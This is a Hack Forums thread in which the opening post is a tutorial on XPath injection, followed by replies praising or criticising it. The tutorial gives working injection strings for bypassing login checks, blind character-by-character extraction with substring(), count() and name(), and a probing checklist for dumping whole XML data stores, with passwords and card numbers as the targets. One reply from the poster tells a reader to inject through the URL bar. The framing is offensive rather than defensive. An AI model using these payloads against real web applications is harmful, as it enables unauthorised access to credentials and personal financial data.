

Forum: [Hack Forums](#)

Thread: [\[TuT\]Injecting into XPath by \\$c0rPi0n\[/TuT\]](#)

Frank Sinatra - June 16, 2010, 7:43 am

[\[TuT\]Injecting into XPath by \\$c0rPi0n\[/TuT\]](#)

The XML Path Language (or XPath) is an interpreted language used for navigating around XML documents, and for retrieving data from within them. In most cases, an XPath expression represents a sequence of steps that is required to navigate from one node of a document to another.

Where web applications store data within XML documents, they may use XPath to access the data in response to user-supplied input. If this input is inserted into the XPath query without any filtering or sanitization, then an attacker may be able to manipulate the query to interfere with the application's logic or retrieve data for which she is not authorized.

XML documents are not generally a preferred vehicle for storing enterprise data. However, they are frequently used to store application configuration data that may be retrieved on the basis of user input. They may also be used by smaller applications to persist simple information such as user credentials, roles, and privileges.

How do we do it:

Consider the following XML data store:

```
<addressBook>
<address>
<firstName>William</firstName>
<surname>Gates</surname>
<password>MSRocks!</password>
<email>billyg@microsoft.com</email>
<ccard>5130 8190 3282 3515</ccard>
</address>
<address>
<firstName>Chris</firstName>
<surname>Dawes</surname>
<password>secret</password>
<email>cdawes@craftnet.de</email>
<ccard>3981 2491 3242 3121</ccard>
</address>
<address>
<firstName>James</firstName>
<surname>Hunter</surname>
<password>letmein</password>
<email>james.hunter@pookmail.com</email>
<ccard>8113 5320 8014 3313</ccard>
```

```
</address>  
</addressBook>
```

An XPath query to retrieve all email addresses would look like the following:

```
//address/email/text()
```

A query to return all of the details of the user Dawes would be:

```
//address[surname/text()='Dawes']
```

In some applications, user-supplied data may be embedded directly into XPath queries, and the results of the query may be returned in the application's response or used to determine some aspect of the application's behavior.

Subverting Application Logic

Consider an application function that retrieves a user's stored credit card number based on a username and password. The following XPath query effectively verifies the user-supplied credentials and retrieves the relevant user's credit card number:

```
//address[surname/text()='Dawes' and password/text()='secret']/ccard/text()
```

In this case, an attacker may be able to subvert the application's query in an identical way to a SQL injection flaw. For example, supplying a password with the value

' or 'a'='a

will result in the following XPath query, which will retrieve the credit card details of all users:

```
//address[surname/text()='Dawes' and password/text()=' or 'a'='a']/ccard/text()
```

NOTE ****? As with SQL injection, single quotation marks are not required when injecting into a numeric value.

*****? Unlike SQL queries, keywords in XPath queries are case sensitive, as are the element names in the XML document itself.

Informed XPath Injection

XPath injection flaws can be exploited to retrieve arbitrary information from within the target XML document. One reliable way of doing this uses the same technique as was described for SQL injection, of causing the application to respond in different ways contingent upon a condition specified by the attacker. Submitting the following two passwords will result in different behavior by the application—results will be returned in the first case but not in the second:

' or 1=1 and 'a'='a'
' or 1=2 and 'a'='a'

This difference in behavior can be leveraged to test the truth of any specified condition and, therefore, extract arbitrary information one byte at a time. As with SQL, the XPath language contains a substring function, which can be used to test the value of a string one character at a time. For example, supplying the password

' or //address[surname/text()='Gates' and substring(password/text(),1,1)='M'] and 'a'='a'

will result in the following XPath query, which will return results if the first character of the Gates user's password is M:

```
//address[surname/text()='Dawes' and password/text()=' ' or  
//address[surname/text()='Gates' and substring(password/text(),1,1='M')]and 'a'='a']/ccard/text()
```

By cycling through each character position, and testing each possible value, an attacker can extract the full value of Gates's password.

Blind XPath Injection

In the attack just described, the injected test condition specified both the absolute path to the extracted data (address) and the names of the targeted fields (surname and password). In fact, it is possible to mount a fully blind attack without possessing this information. XPath queries can contain steps that are relative to the current node within the XML document, so from the current node it is possible to navigate to the parent node or to a specific child node. Further, XPath contains functions to query meta-information about the document, including the name of a specific element. Using these techniques, it is possible to extract the names and values of all nodes within the document without knowing any prior information about its structure or contents.

For example, you can use the substring technique described previously to extract the name of the current node's parent, by supplying a series of passwords of the form:

' or substring(name(parent::*[position()=1]),1,1)='a'

This input generates results, because the first letter of the address node is a.

Moving on to the second letter, you can confirm that this is d by supplying the following passwords, the last of which generates results:

' or substring(name(parent::*[position()=1]),2,1)='a'
' or substring(name(parent::*[position()=1]),2,1)='b'
' or substring(name(parent::*[position()=1]),2,1)='c'
' or substring(name(parent::*[position()=1]),2,1)='d'

Having established the name of the address node, you can then cycle through each of its child nodes, extracting all of their names and values. Specifying the relevant child node by index avoids the need to know the names of any nodes. For example, the following query will return the value Hunter:

```
//address[position()=3]/child::node()[position()=4]/text()
```

And the following query will return the value letmein:

```
//address[position()=3]/child::node()[position()=6]/text()
```

This technique can be used in a completely blind attack, where no results are returned within the application's responses, by crafting an injected condition that specifies the target node by index. For example, supplying the following password will return results if the first character of Gates's password is M:

```
' or substring(//address[position()=1]/child::node()[position()=6]/text(),1,1)='M' and 'a'='a'
```

By cycling through every child node of every address node, and extracting their values one character at a time, you can extract the entire contents of the XML data store.

XPath contains two useful functions that can help you automate the above attack and quickly iterate through all nodes and data in the XML document:

*****? count() — This returns the number of child nodes of a given element, which can be used to determine the range of position() values to iterate over.

*****? string-length() — This returns the length of a supplied string, which can be used to determine the range of substring() values to iterate over.

Finding XPath Injection Flaws

Many of the attack strings that are commonly used to probe for SQL injection flaws will typically result in anomalous behavior when submitted to a function that is vulnerable to XPath injection. For example, either of the following two strings will normally invalidate the XPath query syntax and so generate an error:

```
'  
'_
```

One or more of the following strings will typically result in some change in the application's behavior without causing an error, in the same way as they do in relation to SQL injection flaws:

' or 'a'='a
' and 'a'='b
or 1=1
and 1=2

Hence, in any situation where your tests for SQL injection provide tentative evidence for a vulnerability, but you are unable to conclusively exploit the flaw, you should investigate the possibility that you are dealing with an XPath injection flaw.

To summaries it

**** Try submitting the following values, and determine whether these result in different application behavior, without causing an error:

' or count(parent::*[position()=1])=0 or 'a'='b
' or count(parent::*[position()=1])>0 or 'a'='b

*** If the parameter is numeric, also try the following test strings:

1 or count(parent::*[position()=1])=0
1 or count(parent::*[position()=1])>0

*** If any of the preceding strings causes differential behavior within the application without causing an error, it is likely that you can extract arbitrary data by crafting test conditions to extract one byte of information at a time. Use a series of conditions with the following form to determine the name of the current node's parent:

substring(name(parent::*[position()=1]),1,1)='a'

*** Having extracted the name of the parent node, use a series of conditions with the following form to extract all of the data within the XML tree:

substring(//parentnodename[position()=1]/child::node()[position()=1]/text(),1,1)='a'

that is it for now!

It is very simple like blind sql injection!

Credits to The Web Application Hackers Handbook it helped me alot in my research and not to forget my best friend wikipedia! :D :P

Regards
\$c0rPi0n! :)

15 views and no comment come on what do you think??

#DataBase - June 16, 2010, 8:27 am

In my opinion it isn't a tutorial about injecting XPath, because you didn't explained why this user queries are allowed etc.

But yeah, it is just a copy and paste thing out of some Xpath tutorials...

#DB

Phizo - July 25, 2010, 3:00 pm

Nice tutorial mate, but I don't really understand where to inject, into the URL?

Frank Sinatra - July 25, 2010, 3:07 pm

(Jul 25, 2010 03:00 PM)Phizo Wrote: [CITE](#) Nice tutorial mate, but I don't really understand where to inject, into the URL?yea in the url bar! Glad you liked it and no it is not the concept i found it in an ebook and i wrote what i have understand from it!

Quote:short

Jaystar - July 25, 2010, 7:31 pm

Very good tutorial +1

Too Short

Toph Beifong - March 18, 2011, 3:51 pm

thanks very much, searching paid off big time, iv been trying to find a good tutorial of xpath for ages

AnonSpirit - March 18, 2011, 4:09 pm

buce tut man

to fucking short asdd

Voidz - March 18, 2011, 4:14 pm

Great tutorial, it's also useful.